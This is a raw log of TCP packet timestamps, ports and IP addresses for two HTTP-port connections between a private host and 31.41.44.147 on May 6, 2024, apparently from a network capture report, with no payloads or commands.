May 6, 2024 02:52:56.112778902 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.112813950 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.112854958 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.125592947 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.125646114 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.125683069 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.125741005 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.125935078 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.125951052 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.125983000 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.126003981 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.126007080 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.126044989 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.151859999 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.151918888 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.151921034 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.151962042 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.155780077 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.155828953 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.155867100 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.155910015 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.156152010 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.156164885 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.156198025 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.156210899 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.156606913 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.156625986 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.156651974 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.156666040 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.164876938 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.164925098 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.166526079 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.166543007 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.166574955 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.166587114 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.166968107 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.166981936 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.167017937 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.167247057 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.167294025 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.192590952 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.192605019 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.192652941 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.192667961 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.196366072 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.196434021 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.196504116 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.196548939 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.196726084 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.196770906 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.197035074 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.197082043 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.197331905 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.197376966 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.197721958 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.197777987 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.205482960 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.205574036 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.206902981 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.206964016 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.206998110 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.207039118 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.207299948 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.207346916 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.207521915 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.207582951 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.207638025 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.207689047 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.207703114 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.207741976 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.233458042 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.233515024 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.233639956 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.233726025 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.237190008 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.237205029 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.237255096 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.237272978 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.237428904 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.281662941 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.495362043 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.542223930 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.542331934 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.542532921 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.851676941 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.909929991 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.909946918 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.910016060 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.910290956 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.910305023 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:56.910332918 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:56.910362005 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.000484943 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.000545979 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.000631094 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.000653028 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.000674009 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.000695944 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.001234055 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.001291990 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.041300058 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.041362047 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.041374922 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.041414976 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.170639038 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.170717955 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.170766115 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.170779943 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.170794964 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.170808077 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.170813084 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.170819998 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.170840025 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.170845032 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.170857906 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.170875072 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.170897007 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.262034893 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.262139082 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.262239933 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.262254000 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.262267113 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.262279034 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.262286901 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.262291908 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.262307882 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.262346029 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.262404919 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.262418985 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.262439966 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.262470961 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.302480936 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.302596092 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.302628994 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.302654028 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.302674055 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.302684069 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.302695036 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.302721977 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.431266069 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431278944 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431341887 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431355000 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431392908 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.431412935 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431427002 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431437016 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.431459904 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.431538105 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431550980 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431566000 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431581020 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.431583881 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431598902 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431608915 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.431612015 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431624889 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431637049 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.431648016 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431653023 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.431680918 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.431693077 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431705952 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.431725025 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.431755066 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.522587061 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.522602081 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.522665977 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.522696972 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.522939920 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.522953033 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.522965908 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.522996902 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.523010015 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.523015976 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.523030043 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.523042917 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.523055077 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.523082018 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.523093939 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.523117065 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.523143053 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.523165941 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.523168087 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.523181915 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.523205042 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.523215055 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.523221970 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.523230076 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.523243904 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.523253918 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.523256063 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.523267984 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.523284912 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.523302078 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.563750029 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.563796997 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.563810110 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.563822031 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.563862085 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.563874006 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.563886881 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.563961029 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.563967943 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.564008951 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.691901922 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.691920042 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.691981077 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.691987038 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.691993952 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692022085 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692030907 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.692030907 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.692035913 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692074060 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692086935 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.692086935 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692109108 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692121029 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692121983 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.692145109 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.692146063 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692159891 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692172050 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692176104 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.692210913 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.692214966 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692229986 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692255974 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.692279100 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.692333937 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692347050 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692416906 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692429066 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692440987 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692454100 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692467928 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692480087 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692492008 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692513943 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692531109 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692584038 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692596912 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692639112 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692651987 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692662954 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692720890 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.692779064 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.692821026 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.783535004 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783734083 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.783751965 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783766031 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783776999 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783791065 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783802986 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783811092 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.783817053 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783821106 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.783830881 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783843040 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783854961 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783871889 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.783871889 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783886909 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783893108 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.783900023 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783912897 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783924103 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783926964 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.783936977 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783948898 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783953905 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.783962011 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783974886 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783986092 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.783997059 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.783997059 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.783998013 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.784017086 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.784019947 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.784029961 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.784040928 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.784049034 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.784054041 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.784066916 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.784076929 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.784080982 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.784105062 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.784121037 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.784128904 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.784136057 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.784149885 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.784158945 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.784162045 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.784174919 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.784181118 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.784200907 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.784233093 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.824518919 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824534893 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824548960 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824562073 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824594975 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824636936 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824647903 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824693918 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824704885 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824717045 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824721098 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.824731112 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824744940 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824757099 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824763060 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.824775934 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824788094 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824790955 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.824800014 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.824815035 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.824840069 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.953783035 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.953819036 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.953831911 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.953843117 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.953846931 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.953866005 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.953869104 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.953876972 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.953924894 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.953934908 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.953989983 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954003096 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954014063 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954034090 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954058886 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954060078 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954077005 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954091072 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954101086 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954129934 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954168081 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954181910 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954210043 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954241037 CEST	49717	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:57.954261065 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954273939 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954286098 CEST	80	49717	31.41.44.147	192.168.2.6
May 6, 2024 02:52:57.954293966 CEST	49717	80	192.168.2.6	31.41.44.147
